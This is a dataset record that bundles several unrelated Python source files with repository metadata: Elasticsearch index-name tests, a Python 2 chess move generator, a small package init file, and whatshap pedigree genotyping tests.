import sys import os import re import datetime import time import yaml import json from pprint import pprint TATTLE_HOME = os.path.abspath(os.path.join(os.path.dirname(__file__), '..')) os.environ['TATTLE_HOME'] = str(TATTLE_HOME) sys.path.append(os.path.join(TATTLE_HOME, 'lib')) sys.path.append(os.path.join(TATTLE_HOME)) sys.path.append(os.path.join('.')) import unittest import tattle from datemath import datemath class TestBuildIndexes(unittest.TestCase): def testFromDictOne(self): index_info = {'pattern': 'YYYY.MM.DD', 'interval': 'day', 'name': 'some-index-'} expected = 'some-index-2015.12.29,some-index-2015.12.30,some-index-2015.12.31,some-index-2016.01.01' built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01')) self.assertEqual(built_indexes, expected) def testFromDictDefaultPatternAndDay(self): index_info = {'name': 'some-index-'} expected = 'some-index-2015.12.29,some-index-2015.12.30,some-index-2015.12.31,some-index-2016.01.01' built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01')) self.assertEqual(built_indexes, expected) def testStarIndexNames(self): index_info = 'some-index-*' expected = 'some-index-2015.12.29,some-index-2015.12.30,some-index-2015.12.31,some-index-2016.01.01' built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01')) self.assertEqual(built_indexes, expected) def testIndexPatternInString(self): index_info = 'some-index-%{+YYYY.MM.DD}' expected = 'some-index-2015.12.29,some-index-2015.12.30,some-index-2015.12.31,some-index-2016.01.01' built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01')) self.assertEqual(built_indexes, expected) def testIndexPatternInStringWithInterval(self): index_info = 'some-index-%{+YYYY.MM.DD.HH}:hour' expected = 'some-index-2015.12.29.00,some-index-2015.12.29.01,some-index-2015.12.29.02,some-index-2015.12.29.03,some-index-2015.12.29.04,some-index-2015.12.29.05,some-index-2015.12.29.06,some-index-2015.12.29.07,some-index-2015.12.29.08,some-index-2015.12.29.09,some-index-2015.12.29.10,some-index-2015.12.29.11,some-index-2015.12.29.12,some-index-2015.12.29.13,some-index-2015.12.29.14,some-index-2015.12.29.15,some-index-2015.12.29.16,some-index-2015.12.29.17,some-index-2015.12.29.18,some-index-2015.12.29.19,some-index-2015.12.29.20,some-index-2015.12.29.21,some-index-2015.12.29.22,some-index-2015.12.29.23,some-index-2015.12.30.00,some-index-2015.12.30.01,some-index-2015.12.30.02,some-index-2015.12.30.03,some-index-2015.12.30.04,some-index-2015.12.30.05,some-index-2015.12.30.06,some-index-2015.12.30.07,some-index-2015.12.30.08,some-index-2015.12.30.09,some-index-2015.12.30.10,some-index-2015.12.30.11,some-index-2015.12.30.12,some-index-2015.12.30.13,some-index-2015.12.30.14,some-index-2015.12.30.15,some-index-2015.12.30.16,some-index-2015.12.30.17,some-index-2015.12.30.18,some-index-2015.12.30.19,some-index-2015.12.30.20,some-index-2015.12.30.21,some-index-2015.12.30.22,some-index-2015.12.30.23,some-index-2015.12.31.00,some-index-2015.12.31.01,some-index-2015.12.31.02,some-index-2015.12.31.03,some-index-2015.12.31.04,some-index-2015.12.31.05,some-index-2015.12.31.06,some-index-2015.12.31.07,some-index-2015.12.31.08,some-index-2015.12.31.09,some-index-2015.12.31.10,some-index-2015.12.31.11,some-index-2015.12.31.12,some-index-2015.12.31.13,some-index-2015.12.31.14,some-index-2015.12.31.15,some-index-2015.12.31.16,some-index-2015.12.31.17,some-index-2015.12.31.18,some-index-2015.12.31.19,some-index-2015.12.31.20,some-index-2015.12.31.21,some-index-2015.12.31.22,some-index-2015.12.31.23,some-index-2016.01.01.00' built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01')) self.assertEqual(built_indexes, expected) index_info = 'some-index-%{+YYYY.MM.DD.HH}:day' expected = 'some-index-2015.12.29.00,some-index-2015.12.30.00,some-index-2015.12.31.00,some-index-2016.01.01.00' built_indexes = tattle.get_indexes(index_info, datemath('2016-01-01||-3d'), datemath('2016-01-01')) self.assertEqual(built_indexes, expected)

70.758065

1,846

0.717803

806

4,387

3.858561

0.099256

0.286495

0.363666

0.419614

0.857235

0.44791

0.444695

0.373633

0

0.249688

0.087075

4,387

61

1,847

71.918033

0.526841

0

0.347826

0

0.130435

0.592339

0.538304

0

0.130435

1

0.108696

false

0

0.23913

0

0.369565

0.021739

0

null

1

0

1

0

1

0

1

null

0

7

b326a7357c3bb90b9bc6e1db98f73fd1c96fab46

7,707

py

Python

src/pawns.py

fxa90id/python-ai-chess

b3432f10bacdcc5ee645ba247c1373c4fd193606

[ "MIT" ]

null

src/pawns.py

fxa90id/python-ai-chess

b3432f10bacdcc5ee645ba247c1373c4fd193606

[ "MIT" ]

null

src/pawns.py

fxa90id/python-ai-chess

b3432f10bacdcc5ee645ba247c1373c4fd193606

[ "MIT" ]

null

class Pawn(object): _me = 'p' def __init__(self, color, position, board): self.color = color self.position = position self.board = board self.board.put_pawn(self) if self.color is 'white': self._me = self._me.upper() self.direction = 1 else: self.direction = -1 def __str__(self): return u"%s" % (self._me) def possible_moves(self, king_safe=True): moves = [] x, y = self.position pos = (chr(ord(x)), chr(ord(y) + self.direction)) l_pos = (chr(ord(x) - 1), chr(ord(y) + self.direction)) r_pos = (chr(ord(x) + 1), chr(ord(y) + self.direction)) try: pawn = self.board.get_pawn(pos) if pawn is '.': line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves.append(line) except IndexError: pass try: pawn = self.board.get_pawn(l_pos) print "l_pos found:", pawn if not (pawn is '.') and pawn.color is not self.color: line = ''.join(self.position) + ''.join(l_pos) if self.king_ok(line, king_safe): moves = [line] + moves except IndexError: pass try: pawn = self.board.get_pawn(r_pos) print "r_pos found:", pawn if not (pawn is '.') and pawn.color is not self.color: line = ''.join(self.position) + ''.join(l_pos) if self.king_ok(line, king_safe): moves = [line] + moves except IndexError: pass print "Pawns:", moves return moves def king_ok(self, line, king_safe): if king_safe: start, end = tuple(line[:2]), tuple(line[2:]) if self.color is 'white': king = self.board.white_king.position color = 'black' else: king = self.board.black_king.position color = 'white' return self.board.king_safe_after(start, end, king, color) return True class King(Pawn): _me = 'a' def possible_moves(self, king_safe=True): moves = [] x, y = self.position for i in [-1, 0, 1]: for j in [-1, 0, 1]: if (i, j) == (0, 0): continue try: pos = (chr(ord(x) + i), chr(ord(y) + j)) print pos, if self.board.in_borders(pos): pawn = self.board.get_pawn(pos) if pawn is '.': line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves.append(line) elif pawn.color is not self.color: line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves.append(line) except IndexError: pass print "King:", moves return moves class Bishop(Pawn): _me = 'b' def possible_moves(self, king_safe=True): moves = [] x, y = self.position temp = 1 for i in [-1, 1]: for j in [-1, 1]: try: pos = (chr(ord(x) + temp*i), chr(ord(y) + temp*j)) while self.board.get_pawn(pos) is '.': pos = (chr(ord(x) + temp*i), chr(ord(y) + temp*j)) if self.board.in_borders(pos): line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves.append(line) temp = temp + 1 except IndexError: pass print "Bishop:", moves return moves class Knight(Pawn): _me = 'k' def possible_moves(self, king_safe=True): moves = [] x, y = self.position for j in range(-1, 2, 2): for i in range(-1, 2, 2): try: pos = (chr(ord(x) + j), chr(ord(y) + i*2)) if self.board.in_borders(pos): pawn = self.board.get_pawn(pos) if pawn is '.': line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves.append(line) elif pawn.color is not self.color: line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves = [line] + moves except IndexError: pass try: pos = (chr(ord(x) + j*2), chr(ord(y) + i)) if self.board.in_borders(pos): pawn = self.board.get_pawn(pos) if pawn is '.': line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves.append(line) elif pawn.color is not self.color: line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves = [line] + moves except IndexError: pass print "Knight:", moves return moves class Rook(Pawn): _me = 'r' def possible_moves(self, king_safe=True): moves = [] x, y = self.position temp = 1 for j in [-1, 1]: try: pos = (x, chr(ord(y) + temp*j)) while self.board.get_pawn(pos) is '.': if self.board.in_borders(pos): line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves.append(line) temp = temp + 1 pos = (x, chr(ord(y) + temp*j)) pawn = self.board.get_pawn(pos) if pawn is not '.': if pawn.color is not self.color: line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves.append(line) except IndexError: pass try: temp = 1 pos = (chr(ord(x) + temp*j), y) while self.board.get_pawn(pos) is '.': if self.board.in_borders(pos): line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves.append(line) temp = temp + 1 pos = (chr(ord(x) + temp*j), y) pawn = self.board.get_pawn(pos) if pawn is not '.': if pawn.color is not self.color: line = ''.join(self.position) + ''.join(pos) if self.king_ok(line, king_safe): moves.append(line) except IndexError: pass print "Rook:", moves return moves

38.535

74

0.414818

837

7,707

3.715651

0.086022

0.063666

0.043408

0.090032

0.779743

0.748553

0.73955

0.735048

0.727653

0.703859

0

0.008333

0.470611

7,707

199

75

38.728643

0.753922

0

0.721925

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0.011937

0

null

0.048128

0

null

0.042781

0

null

0

1

0

1

0

null

0

1

0

7

b32f0b5717f917b717abf6e1977947c208659766

154

py

Python

collie_recs/loss/__init__.py

lgpreston75/collie_recs

aafcb41bac680d36c7d9e9d6537018e2544327d3

[ "BSD-3-Clause" ]

null

collie_recs/loss/__init__.py

lgpreston75/collie_recs

aafcb41bac680d36c7d9e9d6537018e2544327d3

[ "BSD-3-Clause" ]

null

collie_recs/loss/__init__.py

lgpreston75/collie_recs

aafcb41bac680d36c7d9e9d6537018e2544327d3

[ "BSD-3-Clause" ]

null

from collie_recs.loss.bpr import * from collie_recs.loss.hinge import * from collie_recs.loss.metadata_utils import * from collie_recs.loss.warp import *

30.8

45

0.818182

25

154

4.84

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0.330579

0.46281

0.595041

0

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154

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true

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null

0

1

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1

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7

b346d7258037e77a8b414e10631691aa7ebbe8c2

18,065

py

Python

trioasm/whatshap_trioasm/tests/test_pedigreegenotyping.py

shilpagarg/WHdenovo

7a03798397ee0f131f100402d12ad53eab4334dc

[ "MIT" ]

45

2019-03-18T06:57:23.000Z

2021-06-24T12:24:48.000Z

trioasm/whatshap_trioasm/tests/test_pedigreegenotyping.py

shilpagarg/WHdenovo

7a03798397ee0f131f100402d12ad53eab4334dc

[ "MIT" ]

2

2019-05-06T22:11:22.000Z

2020-01-10T15:14:40.000Z

trioasm/whatshap_trioasm/tests/test_pedigreegenotyping.py

shilpagarg/WHdenovo

7a03798397ee0f131f100402d12ad53eab4334dc

[ "MIT" ]

7

2019-05-06T22:07:47.000Z

2020-12-11T08:48:26.000Z

""" Test genotyping of pedigrees """ import math from whatshap.core import GenotypeDPTable, ReadSet, Pedigree, NumericSampleIds, \ PhredGenotypeLikelihoods from whatshap.testhelpers import string_to_readset_pedigree def genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes, weights=None, expected=None, scaling=10, positions=None): rs = string_to_readset_pedigree(s=reads, w=weights, scaling_quality=scaling) dp_forward_backward = GenotypeDPTable(numeric_sample_ids,rs, recombcost, pedigree, positions) # for each position compare the likeliest genotype to the expected ones print('expected genotypes: ',expected_genotypes) positions = rs.get_positions() for pos in range(len(positions)): for individual in range(len(pedigree)): likelihoods = dp_forward_backward.get_genotype_likelihoods('individual'+str(individual),pos) # if expected likelihoods given, compare if expected is not None: print('likelihoods: ',likelihoods,' expected likelihoods: ', expected[individual][pos]) assert(likelihoods == expected[individual][pos]) # find the likeliest genotype max_val = -1 max_index = -1 for i in range(len(likelihoods)): assert( not math.isnan(likelihoods[i]) ) if likelihoods[i] > max_val: max_val = likelihoods[i] max_index = i # compare it to the expected genotype print('pos.: '+ str(pos) + ' individual ' + str(individual) + ': ',likelihoods,' expected genotype: ', expected_genotypes[individual][pos]) assert(max_index == expected_genotypes[individual][pos]) print("\n") def test_genotyping_empty_trio(): rs = ReadSet() recombcost = [] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0', [],[]) pedigree.add_individual('individual1', [],[]) pedigree.add_individual('individual2', [],[]) pedigree.add_relationship('individual0', 'individual1', 'individual2') dp_forward_backward = GenotypeDPTable(numeric_sample_ids,rs, recombcost, pedigree) def test_genotyping_trio1(): reads = """ A 00 A 00 B 11 B 11 C 11 C 00 """ expected_genotypes = [[0,0] , [2,2], [1,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[1,1],[PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2) pedigree.add_individual('individual1',[1,1],[PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2) pedigree.add_individual('individual2',[1,1],[PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [10,10] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_quartet1(): reads = """ A 1111 A 0000 B 1010 C 111000 C 010101 D 000000 D 010 B 0101 C 1100 D 10010 A 0000 A 1111 B 1010 B 0101 """ expected_genotypes = [[1,1,1,1,1,1], [1,1,1,1,1,1], [1,2,1,1,0,1], [0,1,0,0,1,0]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0', [0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual1', [0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual2', [0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual3', [0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_relationship('individual0', 'individual1', 'individual2') pedigree.add_relationship('individual0', 'individual1', 'individual3') recombcost = [3,3,3,4,3,3] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_trio2(): reads = """ A 00 A 00 B 11 B 11 C 11 C 00 """ expected_genotypes = [[0,0] , [2,2], [1,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2) pedigree.add_individual('individual1',[0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2) pedigree.add_individual('individual2',[0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 2) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [10,10,10] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_trio3(): reads = """ A 1111 B 1010 C 111000 C 010101 C 010101 B 0101 A 0000 B 1010 C 1010 C 1100 A 0000 A 1111 B 1010 B 010 """ expected_genotypes = [[1,1,1,1,1,1] , [1,1,1,1,1,1], [1,2,1,1,0,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual1',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual2',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [3,3,3,4,3,3] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) # TODO: what about such cases, where the given reads are like below? What would be the expected genotypes # when genotyping with higher recombrate (e.g. 10), resulting genotypes are: [2,2,2] , [2,1,1], [2,2,2], why?? def test_genotyping_trio4(): reads = """ B 101 B 101 B 101 A 111 A 111 A 111 C 111 C 111 C 111 """ expected_genotypes = [[2,2,2] , [2,1,2], [2,2,2]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual1',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual2',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [1,1,1] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_trio5(): reads = """ B 101 B 101 B 101 A 111 A 111 A 111 C 111 C 111 C 101 C 101 """ expected_genotypes = [[2,2,2] , [2,0,2], [2,1,2]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual1',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual2',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [2,2,2] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_trio6(): reads = """ A 000 A 000 A 010 A 111 A 111 B 111 B 111 C 111 C 000 C 000 """ expected_genotypes = [[1,1,1] , [2,2,2], [1,1,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[1,1,1], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual1',[1,1,1], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual2',[1,1,1], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [10,10,10] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_quartet2(): reads = """ A 111 A 010 A 110 B 001 B 110 B 101 C 001 C 010 C 010 D 001 D 010 D 010 """ expected_genotypes = [[1,2,0] , [1,1,1], [0,1,1], [0,1,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual1',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual2',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual3',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_relationship('individual0', 'individual1', 'individual2') pedigree.add_relationship('individual0', 'individual1', 'individual3') recombcost = [10,10,10] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_quartet3(): reads = """ A 111111 A 000000 B 010101 B 101010 C 000000 C 010101 D 000000 D 010101 """ expected_genotypes = [[1,1,1,1,1,1] , [1,1,1,1,1,1], [0,1,0,1,0,1], [0,1,0,1,0,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual1',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual2',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual3',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_relationship('individual0', 'individual1', 'individual2') pedigree.add_relationship('individual0', 'individual1', 'individual3') recombcost = [3,3,3,3,3,3] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_quartet4(): reads = """ A 1111 A 0000 B 1010 C 111000 C 010101 D 000000 D 010 B 0101 C 1100 D 10010 A 0000 A 1111 B 1010 B 0101 """ expected_genotypes = [[1,1,1,1,1,1] , [1,1,1,1,1,1], [1,2,1,1,0,1], [0,1,0,0,1,0]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual1',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual2',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_individual('individual3',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 6) pedigree.add_relationship('individual0', 'individual1', 'individual2') pedigree.add_relationship('individual0', 'individual1', 'individual3') recombcost = [3,3,3,4,3,3] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_trio7(): reads = """ B 100 B 100 B 111 A 111 A 111 A 111 C 111 C 101 C 101 """ expected_genotypes = [[2,2,2] , [2,1,1], [2,1,2]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual1',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_individual('individual2',[0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 3) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [1,1,1] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_trio8(): reads = """ B 1100 B 1110 A 1111 A 0000 C 0011 C 1110 """ expected_genotypes = [[1,1,1,1] , [2,2,1,0], [1,1,2,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_individual('individual1',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_individual('individual2',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [10,10,10,10] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_trio9(): reads = """ B 1100 B 1100 B 1100 B 1110 B 1110 B 1110 A 1111 A 1111 A 1111 A 0000 A 0000 A 0000 C 0011 C 0011 C 1110 C 1110 """ expected_genotypes = [[1,1,1,1] , [2,2,1,0], [1,1,2,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_individual('individual1',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_individual('individual2',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [10,10,10,10] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) # TODO when using uniform priors (1/3,1/3,1/3) result for child is (0,0.2,0.8) def test_weighted_genotyping(): reads = """ B 00 B 11 A 11 A 00 C 11 C 11 """ weights = """ 99 99 99 99 99 99 """ expected_genotypes = [[1,1],[1,1],[2,2]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0,0], [PhredGenotypeLikelihoods(0.25,0.5,0.25)] * 4) pedigree.add_individual('individual1',[0,0,0,0], [PhredGenotypeLikelihoods(0.25,0.5,0.25)] * 4) pedigree.add_individual('individual2',[0,0,0,0], [PhredGenotypeLikelihoods(0.25,0.5,0.25)] * 4) pedigree.add_relationship('individual0', 'individual1', 'individual2') # recombination is extremely unlikely recombcost = [1000,1000,1000,1000] expected = {0: [[0,1,0],[0,1,0]], 1:[[0,1,0],[0,1,0]], 2:[[0,1.0/3.0,2/3.0],[0,1.0/3.0,2/3.0]]} genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes, weights, expected, scaling=500) def test_genotyping_trio10(): reads = """ B 0000 B 0000 B 0000 B 0000 B 0000 B 0000 A 1111 A 1111 A 1111 A 1111 A 1111 A 1111 """ # no reads for child, but genotype must be 1/0 for each pos. (due to inheritance) expected_genotypes = [[2,2,2,2] , [0,0,0,0], [1,1,1,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_individual('individual1',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_individual('individual2',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [10,10,10,10] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) def test_genotyping_trio11(): reads = """ A 111 B 110 B 111 C 000 C 110 """ expected_genotypes = [[1,1,1] , [2,2,1], [1,1,0]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_individual('individual1',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_individual('individual2',[0,0,0,0], [PhredGenotypeLikelihoods(1.0/3.0,1.0/3.0,1.0/3.0)] * 4) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [10,10,10] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes) # TODO: model fails to infer the correct genotype likelihoods of the child, if uniform priors are used for child. # according to mendelian inheritance, correct priors here would be: # A: (0,1,0), B:(0,1,0), C:(0.25,0.5,0.25), but since no reads present for child, # prior genotyping step would give uniform priors. def test_genotyping_trio13(): reads = """ A 1111 A 0000 B 1111 B 0000 """ expected_genotypes = [[1,1,1,1,1,1] , [1,1,1,1,1,1], [1,1,1,1,1,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(0,1,0)] * 6) pedigree.add_individual('individual1',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(0,1,0)] * 6) pedigree.add_individual('individual2',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(0.25,0.5,0.25)] * 6) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [1000000,1000000,1000000,1000000,1000000,1000000] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes, scaling=1000) def test_genotyping_trio14(): reads = """ A 111111 A 111111 B 111111 B 000000 C 000000 """ expected_genotypes = [[2,2,2,2,2,2] , [1,1,1,1,1,1], [1,1,1,1,1,1]] numeric_sample_ids = NumericSampleIds() pedigree = Pedigree(numeric_sample_ids) pedigree.add_individual('individual0',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1/3.0,1/3.0,1/3.0)] * 6) pedigree.add_individual('individual1',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1/3.0,1/3.0,1/3.0)] * 6) pedigree.add_individual('individual2',[0,0,0,0,0,0], [PhredGenotypeLikelihoods(1/3.0,1/3.0,1/3.0)] * 6) pedigree.add_relationship('individual0', 'individual1', 'individual2') recombcost = [1000000,1000000,1000000,1000000,1000000,1000000] genotype_pedigree(numeric_sample_ids,reads, recombcost, pedigree, expected_genotypes, scaling=1000)

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1

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null

0

7

2faa901c0ab5511dcdb85dfb83628c3f6524cda8

45

py

Python

OMASS4/SNR_Calculation/__init__.py

DBernardes/OMASS4

30d2edc961463253cc120bc8ca1d74a0a73d922d

[ "MIT" ]

null

OMASS4/SNR_Calculation/__init__.py

DBernardes/OMASS4

30d2edc961463253cc120bc8ca1d74a0a73d922d

[ "MIT" ]

null

OMASS4/SNR_Calculation/__init__.py

DBernardes/OMASS4

30d2edc961463253cc120bc8ca1d74a0a73d922d

[ "MIT" ]

null

